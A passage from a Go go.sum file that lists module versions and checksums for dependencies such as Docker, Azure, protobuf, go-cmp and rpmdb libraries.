h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= github.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1 h1:UQHMgLO+TxOElx5B5HZ4hJQsoJ/PvUvKRhJHDQXO8P8= github.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24= github.com/Azure/go-autorest/autorest v0.11.18/go.mod h1:dSiJPy22c3u0OtOKDNttNgqpNFY/GeWa7GH/Pz56QRA= github.com/Azure/go-autorest/autorest/adal v0.9.13/go.mod h1:W/MM4U6nLxnIskrw4UwWzlHfGjwUS50aOsc/I3yuU8M= github.com/Azure/go-autorest/autorest/date v0.3.0/go.mod h1:BI0uouVdmngYNUzGWeSYnokU+TrmwEsOqdt8Y6sso74= github.com/Azure/go-autorest/autorest/mocks v0.4.1/go.mod h1:LTp+uSrOhSkaKrUy935gNZuuIPPVsHlr9DSOxSayd+k= github.com/Azure/go-autorest/logger v0.2.1/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8= github.com/Azure/go-autorest/tracing v0.6.0/go.mod h1:+vhtPC754Xsa23ID7GlGsrdKBpUA79WCAKPPZVC2DeU= github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/Microsoft/go-winio v0.5.2 h1:a9IhgEQBCUEk6QCdml9CiJGhAws+YwffDHEMp1VMrpA= github.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY= github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ= github.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0= github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE= github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/docker/distribution v2.8.1+incompatible h1:Q50tZOPR6T/hjNsyc9g8/syEs6bk8XXApsHjKukMl68= github.com/docker/distribution v2.8.1+incompatible/go.mod h1:J2gT2udsDAN96Uj4KfcMRqY0/ypR+oyYUYmja8H+y+w= github.com/docker/docker v20.10.17+incompatible h1:JYCuMrWaVNophQTOrMMoSwudOVEfcegoZZrleKc1xwE= github.com/docker/docker v20.10.17+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= github.com/docker/go-connections v0.4.0 h1:El9xVISelRB7BuFusrZozjnkIM5YnzCViNKohAFqRJQ= github.com/docker/go-connections v0.4.0/go.mod h1:Gbd7IOopHjR8Iph03tsViu4nIes5XhDvyHbTtUxmeec= github.com/docker/go-units v0.4.0 h1:3uh0PgVws3nIA0Q+MwDC8yjEPf9zjRfZZWXZYDct3Tw= github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo= github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153 h1:yUdfgN0XgIJw7foRItutHYUIhlcKzcSf5vDpdhQAKTc= github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc= github.com/emicklei/go-restful v0.0.0-20170410110728-ff4f55a20633/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/evanphx/json-patch v4.11.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k= github.com/form3tech-oss/jwt-go v3.2.3+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas= github.com/go-logr/logr v0.4.0/go.mod h1:z6/tIYblkpsD+a4lm/fGIIU9mZ+XfAiaFtq7xTgseGU= github.com/go-logr/logr v1.2.0/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-logr/logr v1.2.2 h1:ahHml/yUpnlb96Rp8HCvtYVPY8ZYpxq3g7UYchIYwbs= github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= github.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= github.com/go-openapi/jsonreference v0.19.3/go.mod h1:rjx6GuL8TTa9VaixXglHmQmIL98+wF9xc8zWvFonSJ8= github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.1.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/googleapis/gnostic v0.5.1/go.mod h1:6U4PtQXGIEt/Z3h5MAT7FNofLnw9vXk2cUuW7uA/OeU= github.com/googleapis/gnostic v0.5.5 h1:9fHAtK0uDfpveeqqo1hkEZJcFvYXAiCN3UutL8F9xHw= github.com/googleapis/gnostic v0.5.5/go.mod h1:7+EbHbldMins07ALC74bsA81Ovc97DwqyJO1AENw9kA= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= github.com/hashicorp/go-version v1.6.0 h1:feTTfFNnjP967rlCxM/I9g701jU+RN74YKx2mOkIeek= github.com/hashicorp/go-version v1.6.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.5/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo v0.3.12 h1:b6R2BslTbIEToALKP7LxUvijTsNI9TAe80pLWN2g/HU= github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/knqyf263/go-rpm-version v0.0.0-20220614171824-631e686d1075 h1:aC6MEAs3PE3lWD7lqrJfDxHd6hcced9R4JTZu85cJwU= github.com/knqyf263/go-rpm-version v0.0.0-20220614171824-631e686d1075/go.mod h1:i4sF0l1fFnY1aiw08QQSwVAFxHEm311Me3WsU/X7nL0= github.com/knqyf263/go-rpmdb v0.0.0-20221030135625-4082a22221ce h1:/w0hAcauo/FBVaBvNMQdPZgKjTu5Ip3jvGIM1+VUE7o= github.com/knqyf263/go-rpmdb v0.0.0-20221030135625-4082a22221ce/go.mod h1:zp6SMcRd0GB+uwNJjr+DkrNZdQZ4er2HMO6KyD0vIGU= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI= github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= github.com/microsoft/go-rustaudit v0.0.0-20220808201409-204dfee52032 h1:TLygBUBxikNJJfLwgm+Qwdgq1FtfV8Uh7bcxRyTzK8s= github.com/microsoft/go-rustaudit v0.0.0-20220808201409-204dfee52032/go.mod h1:vYT9HE7WCvL64iVeZylKmCsWKfE+JZ8105iuh2Trk8g= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/moby/spdystream v0.2.0 h1:cjW1zVyyoiM0T7b6UoySUFqzXMoqRckQtXwGPiBhOM8= github.com/moby/spdystream v0.2.0/go.mod h1:f7i0iNDQJ059oMTcWxx8MA/zKFIuD/lY+0GqbN2Wy8c= github.com/moby/term v0.0.0-20210619224110-3f7ff695adc6 h1:dcztxKSvZ4Id8iPpHERQBbIJfabdt4wUm5qy3wOL2Zc= github.com/moby/term v0.0.0-20210619224110-3f7ff695adc6/go.mod h1:E2VnQOmVuvZB6UYnnDB0qG5Nq/1tD9acaOpo6xmt0Kw= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/morikuni/aec v1.0.0 h1:nP9CBfwrvYnBRgY6qfDQkygYDmYwOilePFkwzv4dU8A= github.com/morikuni/aec v1.0.0/go.mod h1:BbKIizmSmc5MMPqRYbxO4ZU0S0+P200+tUnFx7PXmsc= github.com/munnerz/goautoneg v0.0.0-20120707110453-a547fc61f48d/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw= github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs= github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= 